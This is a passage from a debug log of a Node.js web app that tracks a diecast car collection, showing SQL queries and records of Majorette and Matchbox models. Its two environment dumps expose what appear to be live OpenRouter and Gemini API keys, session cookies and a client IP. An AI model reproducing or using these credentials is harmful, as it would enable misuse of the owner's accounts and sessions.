2026-02-04T07:04:00.997Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:08.404Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:08.405Z server-connect:app Executing action step identify
2026-02-04T07:04:08.405Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:08.405Z server-connect:output identity: 1
2026-02-04T07:04:08.405Z server-connect:app Executing action step restrict
2026-02-04T07:04:08.405Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:08.406Z server-connect:output restrict: undefined
2026-02-04T07:04:08.406Z server-connect:app Executing action step condition
2026-02-04T07:04:08.406Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:08.406Z server-connect:app Executing action step update
2026-02-04T07:04:08.406Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T07:04:08.407Z server-connect:output update: { affected: 1 }
2026-02-04T07:04:08.407Z server-connect:app Executing action step upload
2026-02-04T07:04:08.407Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T07:04:08.408Z server-connect:output upload_image: []
2026-02-04T07:04:08.408Z server-connect:app Executing action step repeat
2026-02-04T07:04:08.408Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T07:04:08.408Z server-connect:output repeat_images: []
2026-02-04T07:04:08.408Z server-connect:output condition: undefined
2026-02-04T07:04:08.711Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T07:04:08.712Z server-connect:app Executing action step identify
2026-02-04T07:04:08.712Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:08.712Z server-connect:output identity: 1
2026-02-04T07:04:08.712Z server-connect:app Executing action step restrict
2026-02-04T07:04:08.712Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:08.713Z server-connect:output restrict: undefined
2026-02-04T07:04:08.713Z server-connect:app Executing action step paged
2026-02-04T07:04:08.713Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T07:04:08.715Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 157,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG GT R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: null,
      vehicle_brand_name: 'Dodge',
      vehicle_brand_id: 127,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      diecast_images: []
    },
    {
      id: 165,
      model_name: 'GMC Hummer EV',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 164,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 163,
      model_name: 'Toyota GR Supra',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 162,
      model_name: 'Lamborghini Sián FKP 37',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 161,
      model_name: 'Bugatti Chiron Pur Sport',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Limited Edition 9 Gift Set',
      brand_id: 72,
      series_id: 174,
      case: '',
      vehicle_brand_name: 'Bugatti',
      vehicle_brand_id: 129,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 160,
      model_name: '2023 Toyota RAV4 TRD',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 159,
      model_name: 'Ford Police Interceptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 158,
      model_name: 'GMC 3500 Utility Truck',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'GMC',
      vehicle_brand_id: 140,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 157,
      model_name: '2015 Honda Ridgeline',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Honda',
      vehicle_brand_id: 112,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 156,
      model_name: '1980 Jeep JIO Stepside',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Jeep',
      vehicle_brand_id: 122,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 155,
      model_name: '2025 RAM 1500 EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'RAM',
      vehicle_brand_id: 189,
      condition: 'Carded',
      diecast_images: [Array]
    },
    {
      id: 154,
      model_name: '2020 Land Rover Defender 90',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 153,
      model_name: 'Pierce Volterra EV',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Pierce',
      vehicle_brand_id: 192,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 152,
      model_name: '17 Toyota Landcruiser 78',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Toyota',
      vehicle_brand_id: 119,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 151,
      model_name: 'Garbage King',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-19T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Fantasy',
      brand_id: 73,
      series_id: 92,
      case: '',
      vehicle_brand_name: 'Fantasy',
      vehicle_brand_id: 142,
      condition: 'Carded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T07:04:09.031Z server-connect:router Serving templateView /
2026-02-04T07:04:09.031Z server-connect:app Executing action step identify
2026-02-04T07:04:09.031Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:09.031Z server-connect:output identity: 1
2026-02-04T07:04:09.031Z server-connect:app Executing action step restrict
2026-02-04T07:04:09.031Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:09.032Z server-connect:output restrict: undefined
2026-02-04T07:04:09.032Z server-connect:app Executing action step restrict
2026-02-04T07:04:09.032Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T07:04:09.032Z server-connect:output restrict: undefined
2026-02-04T07:04:09.032Z server-connect:router Render template layouts/main
2026-02-04T07:04:09.033Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T07:04:21.571Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T07:04:21.572Z server-connect:app Executing action step identify
2026-02-04T07:04:21.572Z server-connect:app options: { provider: 'security' }
2026-02-04T07:04:21.572Z server-connect:output identity: 1
2026-02-04T07:04:21.572Z server-connect:app Executing action step restrict
2026-02-04T07:04:21.572Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T07:04:21.572Z server-connect:output restrict: undefined
2026-02-04T07:04:21.572Z server-connect:app Executing action step condition
2026-02-04T07:04:21.573Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T07:04:21.573Z server-connect:app Executing action step update
2026-02-04T07:04:21.573Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
